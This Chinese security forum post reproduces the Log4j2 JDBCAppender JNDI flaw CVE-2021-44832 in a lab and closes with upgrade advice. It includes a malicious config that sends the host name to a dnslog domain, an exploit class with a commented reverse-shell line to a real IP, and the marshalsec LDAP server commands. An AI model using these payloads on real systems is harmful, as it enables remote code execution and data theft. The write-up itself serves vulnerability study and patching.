安全矩阵

 找回密码
 立即注册
搜索
查看: 2541|回复: 0

最新出品 | Log4j2基于JDBCAPPENDER配置文件任意文件执行(CVE-202...

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-31 14:04:14 | 显示全部楼层 |阅读模式
原文链接:最新出品 | Log4j2基于JDBCAPPENDER配置文件任意文件执行(CVE-2021-44832)

一、漏洞描述


log4j2在进行JDBC反序列化之前,可以通过JNDI动态远程获取数据库源文件。官方配置文档的格式如下:
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <Configuration status="error">
  3.         <Appenders>
  4.         <JDBC name="databaseAppender" tableName="dbo.application_log">
  5.                      <DataSource jndiName="java:/comp/env/jdbc/LoggingDataSource" />
  6.                  <Column ...
  7.         </JDBC>
  8. </Appenders>

  9. </Configuration>
复制代码


这里可以尝试控制任意LDAP的URL,从而达成对应的利用。
<DataSource jndiName="ldap://127.0.0.1:1389/Exploit"/>
二、本地复现


本地获取2.17.0版本log4j2:
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <project xmlns="http://maven.apache.org/POM/4.0.0"
  3.          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4.          xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  5.     <modelVersion>4.0.0</modelVersion>

  6.     <groupId>org.example</groupId>
  7.     <artifactId>log4j-rce</artifactId>n
  8.     <version>1.0-SNAPSHOT</version>

  9.     <dependencies>
  10.         <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
  11.         <dependency>
  12.             <groupId>org.apache.logging.log4j</groupId>
  13.             <artifactId>log4j-core</artifactId>
  14.             <version>2.17.0</version>
  15.         </dependency>
  16.         <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
  17.         <dependency>
  18.             <groupId>org.apache.logging.log4j</groupId>
  19.             <artifactId>log4j-api</artifactId>
  20.             <version>2.17.0</version>
  21.         </dependency>
  22. <!--        <dependency>-->
  23. <!--            <groupId>commons-collections</groupId>-->
  24. <!--            <artifactId>commons-collections</artifactId>-->
  25. <!--            <version>3.1</version>-->
  26. <!--        </dependency>-->

  27.     </dependencies>

  28. </project>
复制代码


这里直接借助CVE-2021-44228 poc来进行测试:
  1. import java.util.*;
  2. import org.apache.logging.log4j.LogManager;
  3. import org.apache.logging.log4j.Logger;


  4. public class Log4j2 {

  5.     public static void main(String[] args) {
  6.         System.setProperty("log4j2.configurationFile","http://192.168.1.81:8000/config.xml");
  7.         System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
  8.         final Logger logger = LogManager.getLogger(Log4j2.class);

  9.         Scanner sc = new Scanner(System.in);
  10.         String str;
  11.         while(true) {
  12.             str = sc.nextLine();
  13.             logger.error(str);
  14.         }
  15.     }
  16. }
复制代码


本地提供一个config.xml的配置文件:
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <Configuration status="error">
  3.     <Appenders>
  4.         <JDBC name="databaseAppender" tableName="dbo.application_log">
  5.             <DataSource jndiName="dns://${env:COMPUTERNAME}.mya9m5.dnslog.cn/exp" />
  6.             <Column name="eventDate" isEventTimestamp="true" />
  7.             <Column name="level" pattern="%level" />
  8.             <Column name="logger" pattern="%logger" />
  9.             <Column name="message" pattern="%message" />
  10.             <Column name="exception" pattern="%ex{full}" />
  11.         </JDBC>
  12.     </Appenders>
  13.     <Loggers>
  14.         <Root level="warn">
  15.             <AppenderRef ref="databaseAppender"/>
  16.         </Root>
  17.     </Loggers>
  18. </Configuration>
复制代码


运行后接收请求:

三、漏洞利用


编写一个exp攻击,发起弹出计算机的命令,并且本地编译成恶意class类:
  1. import com.sun.org.apache.xpath.internal.objects.XString;

  2. public class exp {
  3.     static {
  4.         // System.out.print("正在执行命令");
  5.         try {
  6.             Runtime rt = Runtime.getRuntime();
  7.             // String[] commands = {"bash -i >& /dev/tcp/139.196.234.164/5555 0>&1"};
  8.             String[] commands = {"Calc"};
  9.             Process pc = rt.exec(commands);
  10.             System.out.println("正在执行命令");
  11.             pc.waitFor();
  12.         } catch (Exception e) {
  13.             e.printStackTrace();
  14.         }
  15.     }
  16. }
复制代码


恶意exp类文件目录下开启简易http服务:
python3 -m http.server 8001

恶意config.xml文件目录下开启简易http服务:
python3 -m http.server

使用marshalsec启动恶意ldap服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.1.81:8001/#exp" 7788

修改config.xml文件DataSource为:
<DataSource jndiName="ldap://192.168.1.81:7788/exp" />
运行Log4j2.java触发恶意代码执行:

四、漏洞分析


该漏洞利用之处比较鸡肋,需要能够拥有修改本地config文件的权限才能达成对应的利用,因此其影响面相对较窄。但是出于安全考虑,还是建议将其更新至最新版本。
五、漏洞修复


https://logging.apache.org/log4j/2.x/security.html
将 Apache Log4j2 升级到 2.17.1、2.12.4 和 2.3.2 或更高版本。


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 15:20 , Processed in 0.013816 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表